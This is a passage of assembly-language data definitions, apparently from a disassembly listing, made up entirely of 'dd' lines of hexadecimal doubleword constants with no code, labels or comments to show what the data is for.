		dd 0BF659481h, 909D2C64h, 5EF500FCh, 52AED83Eh,	870036C6h
		dd 0DB29CB5Bh, 26853443h, 78457Fh, 63AB12B0h, 0A3001F58h
		dd 87F10DDDh, 5C6EAA33h, 0F71F387Dh, 33E71335h,	5CD84BB8h
		dd 5948B87Bh, 0BD1702EFh, 808A75FBh, 0DDE8E4FEh, 0DE811EE3h
		dd 0C5598F11h, 3C903080h, 27001C43h, 844EF54h, 10952Eh
		dd 0AEBA2138h, 769D9C94h, 42C63B00h, 0D9E05365h, 0B8FCFD6Ch
		dd 36F900ECh, 9002D1A0h, 65F85FF4h, 0F017B916h,	4291FE00h
		dd 887E05h, 0D323944Ch,	90EB5143h, 0FC7A2C1Fh, 0D6102880h
		dd 0A2C15Bh, 3D821DDAh,	4EA0B186h, 38009C90h, 0F7ADA73Ch
		dd 4221B6Bh, 87CB96CAh,	0F58CD203h, 0AE00C458h,	601A0705h
		dd 0A0E5A3h, 5F34D11Eh,	53471454h, 21BA9801h, 31D864AEh
		dd 1559C20h, 1329DC44h,	706B08EFh, 52E260C0h, 0F3002672h
		dd 0B1213371h, 8076ADh,	2D87A742h, 250BAB3Fh, 0E3A3A407h
		dd 1B64D20Dh, 9C3E80C0h, 0FC4B3C5Fh, 0F7B42903h, 0BAD82673h
		dd 864C6D48h, 6B4D0777h, 71201650h, 1C7799Eh, 95ABAD77h
		dd 0F401A8E3h, 1800A9E7h, 640A7894h, 4BDF606h, 0D9E2D57Ah
		dd 60BDC184h, 0FCEFCDA4h, 5A00EB6Bh, 54484953h,	72B41289h
		dd 1A40006Dh, 2F05CCCFh, 0B008BE5h, 0F8D1DC4h, 241597BDh
		dd 78A65C9h, 20033655h,	0E4B513F0h, 0B16ED500h,	7E998E80h
		dd 0A03B030Fh, 0FCB3CDC5h, 18781E82h, 6000E74Fh, 0BCCF0486h
		dd 0C9E12E5Bh, 0D1D90010h, 85362D73h, 0EA7B9AFEh, 243F340Eh
		dd 9D2760E4h, 320133h
		dd 85EFFF61h, 0C92C9F63h, 8470392Ch, 0C1DCA05h,	3DCD4CA4h
		dd 740B2DF6h, 0E80113B6h, 0E0AECCE7h, 2B0F51F5h, 6E3914D1h
		dd 0D577A32Dh, 0A9BC805Fh, 1DC809DCh, 0D1007D24h, 0FFF1DAFEh
		dd 0F8320800h, 0EF26EE29h, 64860442h, 0A041EB19h, 913967BCh
		dd 0C0330098h, 0C4FEC20Ah, 4D161E83h, 725D8084h, 0DCE6D8B7h
		dd 0BBD35001h, 0D9279B55h, 657CE4h, 1D88CE75h, 0A2F93D2Bh
		dd 52E8F02Ch, 0A91A2101h, 3BC08C6Ch, 53F10062h,	231C244Dh
		dd 90009A32h, 200DD7D9h, 0A4A0F4h, 0E3DEF64Ah, 0C5C8E760h
		dd 3105767Eh, 79BE20Bh,	0F82B9B00h, 58FE9A43h, 0F008DDDh
		dd 325E2DF3h, 62EC0C1Fh, 3621761Ch, 2C2FAB40h, 0FC7C4C1Eh
		dd 48FA1605h, 0F8E04772h, 0B646154h, 3EC281Dh, 93FFBCB5h
		dd 0AFDA829h, 3540062h,	97F8EF2Dh, 7300C861h, 6FE6E5B3h
		dd 0BF7C5Dh, 0A44B3446h, 85684EFFh, 0ED1BB09h, 28FC80FEh
		dd 6B082E1h, 34B64BB3h,	0BD007857h, 0D522CC3Bh,	36A1B2Ah
		dd 530423ECh, 9698C495h, 0CC6093B3h, 3E4A57A0h,	21886137h
		dd 0CB521CDEh, 8CF0AFA0h, 0D4C90A60h, 0BE97B7h,	0B82BEC12h
		dd 6626E1A2h, 40BD4Ch, 0A0D9D630h, 71EB5809h, 49C90016h
		dd 236FB202h, 5C3C7F7Ch, 0E1700048h, 5FCA6D03h,	79827436h
		dd 8DF20EA1h, 0F100350Ah, 0FD18CD56h, 31712A00h, 52114039h
		dd 8CD6191Ah, 0DFCDB065h, 14552002h, 82A5D512h,	8872F00Ch
		dd 3E006858h, 573F6F22h, 81900003h, 0C6C0A02Fh,	723ED30Eh
		dd 98AD0077h, 4F449A58h, 2D04007Ch, 0FF7B8F63h,	8E00436Eh
		dd 5E36A508h, 963F0Bh, 47213BC7h, 48E42CB5h, 615FC600h
		dd 0DE5C128Ah, 23090034h, 63B32D0Ch, 740CD74Ah,	0D8D53725h
		dd 0D696034Fh, 5721EEE3h, 0F004A947h, 0C04C33B0h, 61F1FF10h
		dd 0F4093EC0h, 9050A416h, 0FA3114h, 0AC29647Bh,	0DB8C604Eh
		dd 9C243C16h, 750E4800h, 0FBBE92Bh, 0CDD71759h,	204956E7h
		dd 24A92531h, 0A435C200h, 8AB294B4h, 936D00D4h,	1A2345BCh
		dd 42E0209h, 54A6806Fh,	0DE75173Fh, 0BE5CE880h,	1306007Ch
		dd 0B3F245Bh, 1704FC50h, 887768E1h, 6E68F0h, 533B048Dh
		dd 67117047h, 18A24503h, 0C0CB55A8h, 19EFDACh, 23C50C88h
		dd 804593BCh, 0F6B7C661h, 9926EBEh, 0CB616503h,	0B4609C89h
		dd 177916F2h, 95977707h, 69AE5A69h, 84C40041h, 2205F61h
		dd 88DD1278h, 0BC695E26h, 79A82919h, 89698C60h,	359B53h
		dd 0D4FB30EBh, 17233DACh, 0F80B1007h, 431054D9h, 0A9CB22B6h
		dd 9FDD05CCh, 69007438h, 644D113Bh, 901591E1h, 9857F2h
		dd 0E293D573h, 1FA7DA5h, 63160D27h, 0EC9529D9h,	0A700F2D8h
		dd 0E3B28D3h, 0F0A0D780h, 5A9F00E7h, 15386C56h,	70051D1h
		dd 8FFC26A8h, 2839F1BEh, 75F0E4EAh, 92E0040h, 4C26E897h
		dd 5A909B7Ah, 0E53B111Fh, 0D6783C41h, 4EFC94DCh, 0A010004Bh
		dd 9784FD91h, 0CB783F8Ch, 55A3B200h, 0BD88A4Ah,	0B50D2CDEh
		dd 89CF004Ch, 61EC3AF0h, 4B2FDA09h, 3C6440A1h, 8C7E0766h
		dd 0B07BC46Ah, 0BB2A964Ah, 60749E6h, 0B1D4D910h, 7143FCA0h
		dd 0F59D0078h, 56275A72h, 1471FB91h, 35D2DF00h,	10543389h
		dd 20B8285Ch, 710700B0h, 0D818E999h, 4F7F7A83h,	0A6F3C904h
		dd 0AC902B19h, 0BF986Ch, 30BA731Fh, 0A647C93Ah,	82FE4225h
		dd 603D707Ch, 32C6C35h,	0A8EDBACCh, 1A8FBB3h, 3573CB2Ah
		dd 0C6849200h, 0AD406B5Dh, 0AC0C0109h, 0BB88C4A4h, 0DF69A657h
		dd 31013420h, 28EDCE55h, 0A6D49887h, 4830F86h, 0F9A00326h
		dd 77972731h, 0B8807F00h, 0E8960BE2h, 0CBBE005Eh, 12B08DB1h
		dd 0E9049E16h, 0AA5F9519h, 0CE8E3C90h, 0F21D24AFh, 0D0FD8830h
		dd 47DD0B87h, 0FA092170h, 634D0017h, 153FB789h,	9C900FCAh
		dd 0A4B80600h, 0BA91878Eh, 0B23C00A1h, 51D4E9B5h, 0A770CC82h
		dd 0D8003DF2h, 0BAB3AE08h, 745E9E3Ah, 0D0850EABh, 31409F25h
		dd 596FB853h, 0E4DBFB1Ch, 9AEB46C0h, 50FEA5h, 0EF7FD1B9h
		dd 0E394C7BEh, 1C0F1374h, 40F7422Ah, 0AE1DB44Dh, 69F0026Ch
		dd 0FA211499h, 70553849h, 3A0F48DCh, 823E981Eh,	0E0A1095Bh
		dd 0BA4DB463h, 94B0A8h,	0CB14DFD7h, 0C95D874Ah,	0CD293660h
		dd 215AD6h, 0B92D0BE4h,	0C5FDD4DCh, 0C89C6000h,	0CE0A6D61h
		dd 0FC1B58D0h, 210F3700h, 2DC47453h, 0A44C3C28h, 0EA2C1424h
		dd 4D6E8E39h, 6F6741FFh, 0D8641856h, 0B1BF159Ah, 0C7BC841h
		dd 3226C755h, 25004811h, 85523FBFh, 0CA7311h, 420BA278h
		dd 7C15D2C3h, 0CC7BA2B8h, 45FE2B00h, 0DDFD8F44h, 0AC8B00FFh
		dd 53351E8Ch, 0B8006229h, 6CF3E6E9h, 3AD98234h,	3080C93Bh
		dd 4A0E0A7Eh, 0DC00A10Bh, 0FEC4103Ch, 0BFD517h,	559695C1h
		dd 3A458C43h, 9C3BB3E6h, 87B51740h, 0BD086300h,	9490CD3h
		dd 0A1E533D8h, 10B1E827h, 0C83EA58Ah, 0F812126h, 7E80251Ch
		dd 9283AF4Dh, 0E15309DBh, 3800C8C9h, 461048D3h,	5E0B0AF4h
		dd 80D265CDh, 9136B7DBh, 0BC10C0C2h, 0F818534Dh, 7B344700h
		dd 7142786Bh, 85A224DCh, 0CA6E05D8h, 0FF70D0CFh, 19C09E02h
		dd 88A94595h, 7D66980Ah, 118B075h, 0A1AB7E58h, 9782A02Ah
		dd 2C881089h, 3820FFF1h, 0E63E00E2h, 0E2B6D55h,	0C80BA681h
		dd 2E0A71F4h, 8633E06Dh, 0F508DEh, 7824AC8Fh, 17C0B1C9h
		dd 3B5D9701h, 0A62D9A85h, 713C69E8h, 9DBB062Eh,	30F0738Bh
		dd 33D67607h, 9B10D928h, 0CAEB1Eh, 52E00419h, 0C6FD3C89h
		dd 6701207Fh, 0DE28A183h, 6D86ADAh, 71738Ah, 0A0C65751h
		dd 0CFAAA2C2h, 0CC1B901Fh, 353AF683h, 0AE9F8B2h, 7CBF1441h
		dd 860EA03Dh, 0C9C0AA7Eh, 173CC807h, 6018F8C3h,	541BA895h
		dd 0B9F61E5Eh, 8867402Fh, 0BF5FF51Dh, 0D2AB5109h, 0B6E4000Bh
		dd 74022590h, 75E600ADh, 88C34E0Fh, 0D3005423h,	0C5BC3A18h
		dd 0B25142h, 9BCCFD68h,	4D526DDh, 0C4E9A300h, 0BCC16DB6h
		dd 99080F17h, 77A239BBh, 1CFA1FEEh, 2DC7C0Ch, 447D414h
		dd 0E970AF78h, 1B6A8112h, 0B247209Fh, 0CE91AC00h, 0B3930CDCh
		dd 13D402CCh, 0A15D8614h, 9F31E057h, 0DDFB4821h, 3ECF200h
		dd 8836CDE1h, 8078494Ch, 0C2A342B7h, 0C47D12D9h, 0A0A08BA7h
		dd 7F67B826h, 78D20052h, 9CA03224h, 9D005817h, 35DE4BC2h
		dd 4C5538h, 0EDD3CBBh, 8ECB8126h, 0D1D49501h, 0ECC2BE94h
		dd 12DE3F20h, 937EF0A9h, 204DD644h, 0F5160118h,	0D514442Ah
		dd 4A5A30D0h, 457803D2h, 0A5BF392Bh, 2EB1C0E8h,	0DA004B4Fh
		dd 0E2CF2452h, 74C48A0h, 0A206035Dh, 50EA179Bh,	30373A3Fh
		dd 6045EE30h, 2AED18h, 0AEC7365h, 4EB09F40h, 390C5307h
		dd 0A052CCDCh, 0FFC524Bh, 0C4ED9B52h, 94B39162h, 0B1000859h
		dd 52FC8834h, 58C09495h, 0E200CB38h, 85B04FE4h,	39DDE8h
		dd 7C48D89Ah, 3295F9AAh, 90C14A0Fh, 50432013h, 0A5BB16h
		dd 0DE580B7Fh, 5FD53789h, 9F003373h, 0F66CBAAFh, 0D8529Dh
		dd 0E4E03F5Dh, 532A222Dh, 9A8B541Fh, 167C86C1h,	1481068Fh
		dd 566468D4h, 0BB22D8A2h, 66E67DB8h, 0C70E3A75h, 636CD4E2h
		dd 0F0977695h, 0EFD0B4h, 9366237Bh, 0B19AB9BAh,	96023E7Dh
		dd 185A248Ah, 53DCE41Eh, 0A3AB04CDh, 5644F8F2h,	3D37F0Fh
		dd 0C3D795CCh, 4F9DE3Fh, 98188159h, 0C21C14C4h,	54F049F1h
		dd 0E7B7C39h, 9AD9F83h,	80059987h, 1E367121h, 0F38A1900h
		dd 1BA011B1h, 97CA00ECh, 6E6D16C7h, 60DDF4E9h, 4F3E4B07h
		dd 27F05720h, 4CEC90EEh
		dd 6707B2CAh, 7D6095Ch,	7CE7B3EAh, 42A2101Dh, 1729A840h
		dd 37301CCh, 87DE3E6Ah,	901A4D67h, 40D9AC38h, 0B4D6A4h
		dd 8C4BE7C1h, 0F43B5515h, 9FDC0F0Ch, 2A18D906h,	7D74D43Fh
		dd 28940373h, 6FAD7C1Bh, 0F13C6000h, 0D657AB24h, 902660C6h
		dd 2B094876h, 0A007FFAh, 0DA212D4Ah, 1C7210B4h,	1970A3E8h
		dd 8431D8DEh, 78B87E98h, 0FB3E2002h, 270088D8h,	1DD26E8Eh
		dd 1E41A7h, 5086A2D5h, 9F916461h, 0CCFC9E06h, 7D8869DCh
		dd 34F0006Fh, 2A94F10Bh, 0F0AFC82Dh, 0ACB45180h, 71309EAh
		dd 0BB333ABDh, 0C04EC794h, 0DC37D297h, 34D3AD1Eh, 0C00146Eh
		dd 3B57055Ah, 0FE6F0E3h, 0BF1D9C2Fh, 0EB02106Eh, 8489EFC8h
		dd 694C0A86h, 0A5CC4000h, 0E162B828h, 0CBBB1D73h, 214818ECh
		dd 0CC98C3FDh, 0B9647B1Ch, 3B41B2C0h, 1E095DDFh, 0CED8F52h
		dd 0F210F4E7h, 271CE406h, 202894FCh, 0CD01C0DBh, 0A7D43084h
		dd 0A8403752h, 30DBC4Fh, 95CA863Dh, 93E546A0h, 5E2CC50h
		dd 87F23040h, 785E8000h, 639C6ED3h, 74F60945h, 64080629h
		dd 0F06A0590h, 0F203CC3h, 1E046D46h, 7F850DCh, 0B82A5770h
		dd 66B8B580h, 5C5D031h,	10185395h, 7FD40174h, 80961389h
		dd 21B943C8h, 0C372B0C6h, 94082F39h, 2B0514E0h,	0DF0CC19h
		dd 219E6608h, 42934030h, 5070D73Dh, 2B78E814h, 7191590h
		dd 0F07212F4h, 1DA77600h, 1320E98h, 4DB99787h, 2001FB76h
		dd 0E801B278h, 0CCF8D37Ah, 0C09CFDE1h, 3B64036h, 199F59CFh
		dd 0F4517A62h, 9C8DC0F2h, 0B11407F7h, 7048E507h, 9313FDDBh
		dd 7D3DD000h, 0D4338BEh, 0E10B1CA0h, 1426074Fh,	81FC5A37h
		dd 0F668ED13h, 45BBECE9h, 2C5A4000h, 0E799B8EAh, 0F8F09272h
		dd 0D0136096h, 6D4FF124h, 2B8A351h, 930C794h, 14401094h
		dd 0F10FE00Dh, 53250193h, 44F39550h, 94148036h,	72324626h
		dd 3D5724AAh, 0A5CFC05Ch, 0CA21B829h, 56DF88ECh, 0A5C6E000h
		dd 5900Ch, 712C4E8Fh, 0FC4961EAh, 2038FCA1h, 0E61CB744h
		dd 19CAC7D1h, 0FE80A008h, 69106313h, 0B3DF18CEh, 2B371954h
		dd 0B00198A4h, 0B8307452h, 74483A21h, 2347E294h, 6411A514h
		dd 941C5401h, 29137FF4h, 0E1532500h, 9813F84h, 1F741757h
		dd 9DD2E477h, 599C15Ch,	8138C706h, 73D4F430h, 2EBA0013h
		dd 7790EDC3h, 0E700A460h, 0E0A3DDCEh, 214A04h, 0A24DE901h
		dd 2818701Ah, 0CDC090Fh, 17A54252h, 42684119h, 307ECC48h
		dd 0DD6155A0h, 6F7528DCh, 399B025h, 0F34B8150h,	0F38CD86Bh
		dd 4A4228A7h, 2C294CA4h, 24185205h, 4EDC3078h, 0E5603EF0h
		dd 7227EDD9h, 33533BCEh, 9480A19h, 0D218002h, 36D3729Eh
		dd 0F4E07625h, 64B8589Fh, 1A068D22h, 73890929h,	2CA89030h
		dd 0E3C7F13h, 41396B2h,	0C0766800h, 468824B8h, 2DE02F54h
		dd 19F17C12h, 0D69E2020h, 89D21EC3h, 70975407h,	90ABEC65h
		dd 0BFD42B58h, 28D01D26h, 0C0841414h, 0B6D0D85h, 3DE72552h
		dd 30C540A0h, 0DA02D403h, 43C8D146h, 21C880B7h,	0A80518F8h
		dd 7CCF9ACh, 0D5177172h, 0F7E6E178h, 0C388E8B2h, 0C00DE100h
		dd 76EC734Bh, 0A39628FAh, 32FC2880h, 0C06E58B4h, 9457DCC1h
		dd 3418A648h, 26652038h, 1108C8BDh, 45770B0Bh, 0FC6808B6h
		dd 0A309D699h, 38172180h, 537964B6h, 507D3E6h, 6C83D76h
		dd 0CF195F6h, 0D74D7C1Ah, 62189F79h, 8B907AD4h,	6438A5BCh
		dd 34236078h, 19311865h, 0E7CE1906h, 0E44E7300h, 2A3A1AD4h
		dd 25979AFh, 722C8191h,	48804107h, 0C9F97CFAh, 4206181h
		dd 3C0848F8h, 9B384450h, 0A5CE0114h, 1932B826h,	0FB007032h
		dd 0F3A0A5C5h, 9850852Fh, 68B253C4h, 0D4E3709h,	2A60183Fh
		dd 50631172h, 0BCF9882Bh, 78728180h, 0ECD08C61h, 719B2D1Ch
		dd 48F053C3h, 64A1480Ch, 57435CBCh, 30793916h, 0DC563A44h
		dd 80DED828h, 1B37BF00h, 234B9126h, 8F993DEDh, 7FDDF082h
		dd 1042492Bh, 9C57A800h, 0DCA2E512h, 68446467h,	20442761h
		dd 790E4D59h, 229E45BAh, 51547233h, 21B00200h, 1B104DBFh
		dd 2A717DEh, 6CF0505Bh,	3AEF6600h, 5FE8F56Fh, 33D7D000h
		dd 0BB29C7C5h, 25611FB5h, 0B8ECC2C4h, 0C8A05B89h, 5F0A4050h
		dd 3A40CCB1h, 77867B5h,	2CBEBBAEh, 0A11B647Eh, 44C08B0Dh
		dd 520E66h, 0B9C1264Eh,	1AC40E34h, 0E960A69Ch, 352A53A3h
		dd 121DBC92h, 6C248152h, 42808211h, 44DE95B6h, 0D225343h
		dd 0B655140Bh, 41970D5h, 19D6423Fh, 40548874h, 0AD00C0A6h
		dd 0E002C57Eh, 0E4D688C4h, 0D038934Eh, 2F006506h, 9BF6F7FFh
		dd 1F14C8Dh, 0BD5773ADh, 58C421BAh, 94081AF4h, 0C495143Dh
		dd 2324065h, 9A78E94h, 0C44FDDBEh, 7C373CABh, 28905E82h
		dd 38D04062h, 16DCA560h, 39A008FEh, 369407C0h, 2ABD2417h
		dd 0F555844h, 3CB99400h, 0F8C6972Fh, 0F341059Fh, 5E7119DDh
		dd 542300C4h, 0BBE138D7h, 0F6B44DECh, 0C8161513h, 9E8A6800h
		dd 0F8FD7C67h, 0CCD60097h, 48C9053h, 8BF09FB5h,	989163ECh
		dd 868174Bh, 0E76F21C3h, 15F5DC17h, 0E6F2D8C2h,	36382490h
		dd 0DAAB8084h, 0D35222Eh, 538E6E00h, 43B9FBE1h,	0BFC4B3Fh
		dd 0F280E634h, 0DC8C183Ch, 0CCCA2105h, 60805C89h, 1C7B42Ah
		dd 4DD66101h, 43721A40h, 0BDB007B4h, 4176EA27h,	1E686559h
		dd 410CC17h, 0F581E904h, 2808E339h, 0B28C956h, 3500D0FBh
		dd 0B777AF6Bh, 2D607B5h, 829E521Ch, 6460BBE4h, 5C86362Eh
		dd 0B817B820h, 0F9C83882h, 24A53700h, 0D976C73Bh, 33910092h
		dd 4BE9474Eh, 0A7252A1Dh, 322810C1h, 20E7349Ah,	28309988h
		dd 8C47BC60h, 3D828A09h, 949C20D3h, 0E61100Ah, 0E62394Ah
		dd 0DC8892A3h, 394486E7h, 74158D00h, 0D0AE196Ah, 70380F9Eh
		dd 9145145Eh, 0CDA009C8h, 57A0EC82h, 62183C11h,	0B82AA208h
		dd 405AC4D2h, 0DCA539F7h, 3F38007Dh, 53F38664h,	4489248h
		dd 3038F294h, 17F49406h, 4C22B546h, 940E5600h, 0A9990B22h
		dd 0E0759028h, 365A0A9Ah, 9784BED4h, 551C0CF2h,	0F0399970h
		dd 0C70880DAh, 0C5EB623Ah, 0A8B7B843h, 0B21D7790h, 93F909A4h
		dd 6C5D55h, 4F09E1F8h, 0E6C69C1Bh, 0D670208h, 409175E9h
		dd 18C54869h, 4294081Bh, 31701D14h, 9D940703h, 92F33B15h
		dd 0C840EC6Ch, 8D7E7F72h, 1C9C749Eh, 78A4D4E4h,	4C465Eh
		dd 0F5676F04h, 8C6AECh,	21721E43h, 0A0E85346h, 0B0905450h
		dd 714B8909h, 0D4BD5Ch,	78846037h, 1E018D93h, 484DFD5Fh
		dd 0A040FEA6h, 27545601h, 38824634h, 3F220DA0h,	0D09920FCh
		dd 77006C3Bh, 110C3DF9h, 39FE988Eh, 2A9D2315h, 934F009Bh
		dd 9DA0EF36h, 0F6546501h, 891A330Ah, 8C256860h,	6B12B04h
		dd 79625CDEh, 0B12EC921h, 2477E2F8h, 21348B1Eh,	21C3D0B0h
		dd 141AE086h, 0D8D2C17Ch, 0BC4C5604h, 619905D7h, 4DABECC1h
		dd 39CF7E01h, 9FDC058Ch, 88023626h, 66482B19h, 0D43E4C54h
		dd 0BDECAA0Eh, 814C90D7h, 804AA18Dh, 0D017D420h, 4C320901h
		dd 0DCE83D68h, 87005815h, 368AEA98h, 0E1A966h, 2BC922BEh
		dd 280FB535h, 34C6F126h, 0AC004B11h, 9980EB92h,	69004CCAh
		dd 0F849F96Ch, 7B4A85E1h, 475824AAh, 40CC059Ch,	0B584411Eh
		dd 0E0388A7Bh, 0B0303721h, 481D999Bh, 70E8017Eh, 25C9899Ah
		dd 0D063EE08h, 60373926h, 0C77D4C40h, 0AB310179h, 0CBCABAA3h
		dd 0C439E580h, 0EF05A70Bh, 2B91B1C9h, 698088h, 0E89E4CC0h
		dd 0B8BF1E78h, 1239AE3Eh
		dd 0E00236F8h, 149BF399h, 48794CB9h, 320B0818h,	18F397B4h
		dd 0D4F5C0h, 384B8A77h,	0D3AC4CBBh, 378EDD02h, 0CC06669Ah
		dd 7C180B84h, 9009F17Dh, 0CCDF1002h, 5A094072h,	65D48F4Ah
		dd 61A2E430h, 24E497E6h, 88750934h, 0F887FA70h,	8856D448h
		dd 962287E8h, 240E465Dh, 5309710Dh, 0EEE831E3h,	72241310h
		dd 0AFB0DD00h, 0C692D6AAh, 602702E7h, 4D46CAB5h, 7550CC1h
		dd 0F5BB2081h, 33D9688Bh, 70AF9C37h, 884100E3h,	7E1809BEh
		dd 4B07E873h, 4D3F3061h, 408BAAF5h, 53C14EC8h, 408445B8h
		dd 0E237A2B5h, 3007E2D8h, 609D6F9Ah, 14B227A8h,	0A8324EFDh
		dd 8C05BCh, 4115932Fh, 4DCEF1B5h, 0AE9EA9C1h, 8160EA87h
		dd 0D8955573h, 84AC2C39h, 40D7EB1Fh, 0B425A904h, 0B95628D8h
		dd 185AD12Ch, 1E0500A3h, 12ED0A59h, 0E30BB09Bh,	0AE3C5B41h
		dd 0E96860A0h, 67B40Ch,	4DF0CA81h, 0A8F5E22Bh, 3C32E424h
		dd 266900DCh, 1FAC15A8h, 140F5BEBh, 72D4E4F3h, 9986E41Fh
		dd 2680FA2Fh, 83D47CB5h, 3BA0AACBh, 41EC9DA8h, 0CCD59800h
		dd 0F0C45D45h, 6C6B5817h, 0D8184713h, 28C8124h,	0DE1AB647h
		dd 0EC71533Ch, 0B63A1540h, 0BFE80443h, 407218F1h, 93909FF2h
		dd 0C36A0787h, 257382ECh, 8B08D549h, 0C065C86Ch, 3793B233h
		dd 3AC1E1Dh, 92094D45h,	0DF4804C1h, 25741A00h, 82C2FF27h
		dd 4416C94h, 84C08E0Fh,	0C530575Ah, 51181F2Fh, 40705305h
		dd 0F00A4982h, 15485524h, 288CE40Bh, 5B4853FEh,	9F08E078h
		dd 6FE472h, 3A2DF712h, 0E11D7414h, 0A090B0h, 1B2A28F0h
		dd 24630FCh, 0A722917h,	4E3083CBh, 800F0011h, 64454372h
		dd 61C212E4h, 0DAA82034h, 9B5CBAD3h, 21A00D7h, 12F519A1h
		dd 0DE431CF4h, 809F5AD4h, 942EE009h, 8768AB64h,	38BB6310h
		dd 67B5480Eh, 7BB760AEh, 12FDB1E3h, 22750ACCh, 4030801Ch
		dd 0DE1B08B6h, 7B645214h, 0B63B1640h, 8D48DC3Eh, 52238h
		dd 5427C75Ch, 0A74D1FE3h, 9B98FB01h, 0FE4C1AE7h, 30F1BBD0h
		dd 0CAD93316h, 17483651h, 0A02F72B0h, 26448063h, 80FBC7F9h
		dd 0B6040752h, 4877D220h, 4C8FCCEh, 3437D4C0h, 0EFBC00F7h
		dd 0CC516361h, 9F01E3AEh, 0DBF196E0h, 2AC819D5h, 5C149432h
		dd 7B02EE46h, 3D1EE685h, 6000FCE4h, 9E461C0Dh, 0F6AEDB23h
		dd 5C7521h, 416DA774h, 0AABAE0E4h, 3715F115h, 9904C88h
		dd 0FC7787h, 0AA2BF088h, 0EDA600B1h, 0CAB47835h, 0E4A03D63h
		dd 432DB728h, 119C1795h, 0D06C8047h, 0B0A4DE8h,	9897F920h
		dd 311A81Fh, 0B625FE82h, 2054CCC2h, 54F05082h, 9D44425Eh
		dd 9F4711DCh, 7FDBFD02h, 23C548Bh, 0C878CC9Ah, 0FC20A0DAh
		dd 20D55B43h, 6DB0C4F4h, 7812040h, 17A91B1Fh, 0BC622FF5h
		dd 0DF42F311h, 292FAC78h, 1E42B19h, 3D6B1ABBh, 61003C69h
		dd 9FA9BE7Fh, 1C273318h, 7470E3h, 0F2F5AD38h, 0C9B569F3h
		dd 5501B8DDh, 0DD2E1933h, 88409025h, 26AE9F29h,	0CFEC51CFh
		dd 901640E4h, 8AD69FD0h, 9859152Fh, 2E87F0C0h, 2450FC72h
		dd 67467CB4h, 0E5504C01h, 0F9F701FEh, 0BC122A79h, 0FC78B405h
		dd 4CB224B3h, 286E30h, 0A09E16E5h, 8EFC699Ch, 1740CB0Ch
		dd 2A93E0DEh, 2CFCF8F2h, 5E44BCFEh, 290E7946h, 5801C9Dh
		dd 305CEA38h, 1443F34Bh, 0BD82442Eh, 16E298B0h,	6F459E0Ah
		dd 0DE380178h, 883192C9h, 0B53DE422h, 0F41F4Ah,	677B8D6Ch
		dd 0F5011502h, 0D80F04BEh, 0E3F0A5F7h, 8ECAC29h, 769CE4D2h
		dd 0CD9CC16h, 0FCE10032h, 26320C4Eh, 4090398Ah,	0B8F4BA68h
		dd 7A983F00h, 87260795h, 305F73h, 9FDD8B2Ch, 10D6456Ah
		dd 58D50409h, 248C8194h, 0B6054418h, 5234DE07h,	24CAC02Ch
		dd 1FDDB63Fh, 0CBACA4C7h, 4E408E5h, 0B38A9160h,	0A05C0301h
		dd 4244020Bh, 0D8FF5C31h, 1BB66DEh, 84837E30h, 3C0380BDh
		dd 0A1C42560h, 0EE187024h, 5A40BAC3h, 2FDE4D0h,	6A15282Ah
		dd 0E8733214h, 2AAAC58h, 35EA9B7Ch, 8441028Bh, 0F2FC50F5h
		dd 4B06302Eh, 43588499h, 1AE300D4h, 0B5467EC1h,	5E7E05ECh
		dd 0B00B135Bh, 84E428h,	1D8E079Dh, 52C4C9ACh, 5A429E00h
		dd 71CA3732h, 4D702194h, 56CC7E06h, 0C1CE2539h,	4E11E8B5h
		dd 0EE3DD582h, 749FA0C0h, 38414491h, 0AC48B962h, 6D2B176Eh
		dd 80949B8Bh, 0CF7BC550h, 7DA6022Ah, 3341B816h,	0A21F185Eh
		dd 6489F145h, 41C300F0h, 7790209Bh, 2660DC94h, 12F49A0h
		dd 3561B24Ch, 0F8C76E56h, 0AE0358ADh, 0BB8B580h, 99DAC0E1h
		dd 0BE7D2520h, 9FFCF468h, 7AEB9612h, 0F225ACA6h, 709164CCh
		dd 0AF186471h, 0FA3EE478h, 84415F23h, 3270A61Ch, 0F953D088h
		dd 0B1614D02h, 36321847h, 0B8BB8000h, 82021B9Ah, 4C7CFFCAh
		dd 84243104h, 26C88290h, 13B13630h, 3864DE01h, 3901C854h
		dd 0B547BCB6h, 0BC7210A5h, 35D05400h, 0B7BAA9A3h, 19F01500h
		dd 1DE8D34Bh, 0ADA70009h, 0AE9E7DCEh, 709CD7Eh,	2098B037h
		dd 0F52BEA3Ch, 0FA5A034Ah, 0B8C78B3Ch, 0D88E97EBh, 0B6624713h
		dd 0A7DEE4D0h, 10434022h, 6C24789Bh, 0E1EC639h,	8B53C972h
		dd 11ACE465h, 59AF7200h, 164251D0h, 60793745h, 4620047Ch
		dd 0BC98324Ch, 81058CF1h, 7FFE431Bh, 41AEAC90h,	7848B885h
		dd 6B0C25Bh, 98483FF2h,	0DF7740B5h, 221819D2h, 803119h
		dd 6CCCFDE2h, 0FC3E6A5Eh, 5CE77F14h, 80CF3F80h,	668638C2h
		dd 14795E90h, 0F0506144h, 4FDDDB01h, 6CEDE0CEh,	4387086Ch
		dd 891A02D9h, 0AE629C5Dh, 5088F854h, 0A2467C5Eh, 0BDD45700h
		dd 0E4A4A630h, 7C651E39h, 41EC254Ch, 0BB544195h, 343D01C1h
		dd 1A00AC72h, 0B961822Bh, 260BCABFh, 10CC85Ch, 0EAEBB824h
		dd 5F10FC30h, 0B90082E6h, 0ED64054h, 56C27CB7h,	245DB64h
		dd 7CED6770h, 203E1760h, 0CA1D30B0h, 383DE900h,	5B169A49h
		dd 53F21FA7h, 0E40594F0h, 7B86E4Eh, 69FF4DF2h, 0D45C9711h
		dd 0C828B3D9h, 4C1A6480h, 0F0E3D826h, 15003102h, 69085E3Bh
		dd 21B51FDh, 96670561h,	0C86A4CF2h, 312FF8F2h, 48C020DEh
		dd 0ABC67Ch, 0AF670EAAh, 5FEE5546h, 9892DFF6h, 308BB94Eh
		dd 0E0C36A88h, 1A25A0E9h, 0EFF2667h, 611129Ch, 584B102Fh
		dd 913E3730h, 79EBDB08h, 7FDC18E9h, 0CA0D798Bh,	7C138824h
		dd 0AFE85482h, 3DF056ACh, 74FCCB82h, 9868F3DDh,	7A0F819Fh
		dd 0B548D30Fh, 0AA2D03A4h, 16922ADh, 8D5C2011h,	0C3953215h
		dd 9B7CA0C4h, 0C844D490h, 72CC1A42h, 206A310Fh,	20879809h
		dd 89A0E35Dh, 6DFA1BF8h, 6CF39B24h, 0DEAD4082h,	371C87C5h
		dd 0D07C18A2h, 0F9B008C0h, 2805FA13h, 0C03036EEh, 97C3ACD2h
		dd 6CCACC00h, 7804CE28h, 741B2BF5h, 18F2B088h, 0E075DA57h
